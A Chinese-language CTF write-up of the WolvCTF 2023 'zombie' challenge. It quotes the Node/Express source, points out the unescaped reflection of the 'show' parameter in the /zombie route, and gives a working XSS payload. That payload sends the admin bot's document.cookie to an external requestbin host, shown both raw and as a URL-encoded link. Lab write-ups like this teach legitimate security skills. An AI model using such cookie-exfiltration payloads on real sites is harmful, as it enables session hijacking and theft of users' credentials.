wolvctf 2023 zombie xss

发布时间 2023-03-22 21:11:04作者: Galio

当时做的时候没想到这道题考的是XSS,归结原因在于对nodejs的代码不熟悉。先上源码:

bot.js源码就不放了,主要功能概括一下就是点击用户提交的链接,把flag放到cookie里传过去,很容易联想到靶机出网,用buurequestbin接收。

index.js:

const fs = require('fs')
const escape = require('escape-html')
const exec = require('child_process')

const express = require("express")
const app = express()
app.use(express.static('public'))

const config = JSON.parse(fs.readFileSync('config.json'))
process.env.FLAG = config.flag

const validateRequest = (req) => {
    const url = req.query.url
    if (!url) {
        return 'Hmmm, not seeing a URL. Please try again.'
    }

    let parsedURL
    try {
        parsedURL = new URL(url)
    }
    catch (e) {
        return 'Something is wrong with your url: ' + escape(e.message)
    }

    if (parsedURL.protocol !== 'http:' && parsedURL.protocol !== 'https:') {
        return 'Our admin is picky. Please provide a url with the http or https protocol.'
    }

    if (parsedURL.hostname !== req.hostname) {
        return `Please provide a url with a hostname of: ${escape(req.hostname)}  Hmmm, I guess that will restrict the submissions. TODO: Remove this restriction before the admin notices and we all get fired.`
    }

    return null
}

app.get('/visit', function(req, res) {
    const validateError = validateRequest(req)
    if (validateError) {
        res.send(validateError)
        return
    }

    const file = 'node'
    const args = ['bot.js', config.httpOnly, req.hostname, req.query.url]
    const options = { timeout: 10000 }
    const callback = function(error, stdout, stderr) {
         console.log(error, stdout, stderr);
         res.send('admin bot has visited your url')
     }

    exec.execFile(file, args, options, callback)
});

// useful for debugging cloud deployments
app.get('/debug', function(req, res) {
    if (config.allowDebug) {
        res.send({"remote-ip": req.socket.remoteAddress, ...req.headers})
    }
    else {
        res.send('sorry, debug endpoint is not enabled')
    }
})

app.get('/zombie', function(req, res) {
    const show = req.query.show
    if (!show) {
        res.send('Hmmmm, you did not mention a show')
        return
    }

    const rating = Math.floor(Math.random() * 3)
    let blurb
    switch (rating) {
        case 2:
            blurb = `Wow, we really liked ${show} too!`
            break;
        case 1:
            blurb = `Yeah, ${show} was ok... I guess.`
            break;
        case 0:
            blurb = `Sorry, ${show} was horrible.`
            break;
    }
    res.send(blurb)
})

const port = 80
app.listen(port,() => {
    console.log(`Running on ${port}`);
});

源码中定义了/zombie这样一个路由,有一个get传参的参数show,然后没有经过任何过滤直接把变量show输出了,这里很明显是个xss,也学到了nodejs中${show}是输出一个变量的意思。

show写成<script>alert(1)</script>测试一下,页面弹窗了。

show写成<script>window.location='http://http.requestbin.buuoj.cn/1h89wzy1'</script>,buurequestbin上接受到了请求。

然后看往bot提交处的代码,限制了hostname必须是靶机的hostname,还好有上面提到的/zombie路由,表格里url写:https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fhttp.requestbin.buuoj.cn%2F1jy82h41%2F%3Fcookie%3D%27%2Bbtoa(JSON.stringify(document.cookie))%3B%3C%2Fscript%3E

后面的<script>window.location='http://http.requestbin.buuoj.cn/1jy82h41/?cookie='+btoa(JSON.stringify(document.cookie));</script>要经过url编码,否则接收不到,不知道为什么。